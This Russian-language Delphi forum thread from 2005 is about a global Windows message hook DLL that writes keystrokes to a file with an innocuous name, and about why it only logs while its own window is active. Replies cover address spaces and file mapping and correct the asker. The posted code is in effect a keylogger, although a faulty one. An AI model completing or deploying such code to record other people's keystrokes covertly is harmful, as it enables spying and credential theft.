![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Проблемы с SetWindowHookEx [D6, Win2k, WinXP]
KASioZ © (2005-01-02 11:09:00)Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:
library myhookdll;
uses
SysUtils,
Windows,
Dialogs,
Messages;
var
HookHandle: HHOOK = 0;
F: File;
{$R *.res}
function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
begin
GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
BlockWrite(F,buff,1);
ShowMessage(StrPas(@buff));
end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;
procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,'ntnpn32.dat');
if FileExists('ntnpn32.dat') then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;
procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;
exports
SetKeyHook name 'SetKeyHook',
UnSetKeyHook name 'UnSetKeyHook';
begin
end.
Вот код загрузчика:
procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;
Eraser (2005-01-03 23:44:00) [1]Absolutly correct )))
kaZaNoVa (2005-01-03 22:43:00) [2]GuAV © (03.01.05 22:40) [20]
забей на 9х =)
GuAV (2005-01-03 22:40:00) [3]Да, уже вижу
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callnexthookex.asp
Первый параметр Ignored. Но ведь в 9х не Ignored !
kaZaNoVa (2005-01-03 22:21:00) [4]GuAV © (03.01.05 22:19) [18]
ага, имхо можно 0 передавать в виндах 2000 и выше :)))
GuAV (2005-01-03 22:19:00) [5]kaZaNoVa © (03.01.05 21:55) [17]
ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))
а в MSDN это написано ?
kaZaNoVa (2005-01-03 21:55:00) [6]Davinchi © (03.01.05 20:57) [16]
> лучше храни дескриптер полученый от SetWindowsHookEx
ЛЮДИ, не парьтесь - указано же Win2k, WinXP- 0надо ставить:))))
Davinchi (2005-01-03 20:57:00) [7]Тя пракильно уже направляли, у меня была подобная проблема - все дело в адресном пространстве, которое занимает твоя ДЛЛ когда ты ее загружаешь, те нужен объект файлового отображения и лучше храни дескриптер полученый от SetWindowsHookEx....
Перечитай статью именно на этом моменте....
Vaitek (2005-01-03 20:34:00) [8]Не стоит думать обо всех в серых тонах. Я в статью заглянул, сравнил код со своим, понял что ошибался, но разбираться мне влом, поскольку сейчас мне это совершенно не интересно.
Piter (2005-01-03 18:47:00) [9]поразительно как люди готовы целыми днями выпрашивать ответ в форуме, а в тоже время заглянуть в статью и за полчаса разобраться не хотят...
KASioZ (2005-01-03 18:01:00) [10]А моим тапочкам ты будешь рассказывать
Что там есть причина неработоспособности DLL
И если ты такой читалец статей, то лучше помог бы!
Я на форумах не просто треплюсь а помогаю по возможности!
Vaitek а что за глюк ?
Когда 2 копии пускаешь ?
Хммм да мне и не нужно 2 копии пускать
и пускаться они не будут
Piter (2005-01-02 17:30:00) [11]Vaitek © (02.01.05 17:23) [10]
Там глючокс, когда две копии проги сапускаешь
там "глючокс" не только в этом
Piter (2005-01-02 17:28:00) [12]KASioZ (02.01.05 17:01) [9]
Эту статью я тоже читал!
это ты моим тапочкам рассказывать будешь, что ЧИТАЛ (а не просматривал) статью.
Ну ясен пень, супер хакеры не смотрят на всякие там диаграммы и рисунки, и параграфы пояснительные к этим диаграммам не читают - нафиг надо? Там что-то сложновато читать, термины непонятные... Лучше просто не читать это место, а потом на форуме кричать "почему не работает?!"
Vaitek (2005-01-02 17:23:00) [13]Там глючокс, когда две копии проги сапускаешь. Я об этом как-то не подумал.
KASioZ (2005-01-02 17:01:00) [14]Эту статью я тоже читал!
Но где ошибка ?
Ведь всё делается верно!
ShowMessage(); возращает нормальный результат
а вот в файл почему то не пишет
как будто переменная пуста
А надо чтобы работало под платформой WinNT (NT, 2K, XP, 2K3).
И причем сдесь адресное пространство ?
Ловушка то глобальная
Vaitek (2005-01-02 15:39:00) [15]Ну ладно, ладно, где моя походная лопата, пора выкапываться из асфальта. На 2003 винде работает, на ХР тоже.
С замечанием согласен, хотя, как выяснилось, пример я взял не из статьи, а тот что мне вот так же написали на форуме. Давно это было, подзабыл. Так что сорри, за не совсем корекктный пример.
VMcL (2005-01-02 15:09:00) [16]>> Vaitek © (02.01.05 13:47) [4]
P.S.
> Ну а в третьих, что такое ВАП? Случаем не winapi?
Случаем не winapi. А случаем, Виртуальное адресное пространство.
VMcL (2005-01-02 15:07:00) [17]>> KASioZ (02.01.05 11:09)
> Проблемы с SetWindowHookEx
Нет такой функции в WinAPI. Есть SetWindow sHookEx.
По поводу вопроса, смотрите, как и порекомендовал Piter, статью:
http://www.delphimaster.ru/articles/hooks/index.html
>> Vaitek © (02.01.05 13:47) [4]
> Почему плохой пример?
Потому что неправильный.
> Во-первых он списан со статьи на этом сайте.
Верно. Из примера, взятого из example.zip::Example1\hook_dll1.dpr, где в заголовке написано:
// Demo of wronghook - DLL module //
К тому же ясно, что статью Вы не читали, потому что в ней об этом написано:
> Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надописать DLL, из которых вы устанавливаете глобальные ловушки.
> Во-вторых он работает.
Смотря на какой версии Windows.
KASioZ (2005-01-02 15:00:00) [18]Во первых код не списан
Во вторых я понимаю абсолютно каждую строчку
А в третьих лучше помогите разобратся с проблемой
а кто сможет замыльте рабочие сырцы на fakom@Mail.ru
Vaitek (2005-01-02 13:47:00) [19]Почему плохой пример?
Во-первых он списан со статьи на этом сайте.
Во-вторых он работает. Могу прислать прогу, если интересно, целиком.
Ну а в третьих, что такое ВАП? Случаем не winapi?
Piter (2005-01-02 13:27:00) [20]Vaitek © (02.01.05 12:31) [1]
зачем выкладывать какой-то код, если ты в этом коде ни фига не разбираешься и только можешь подать плохой пример?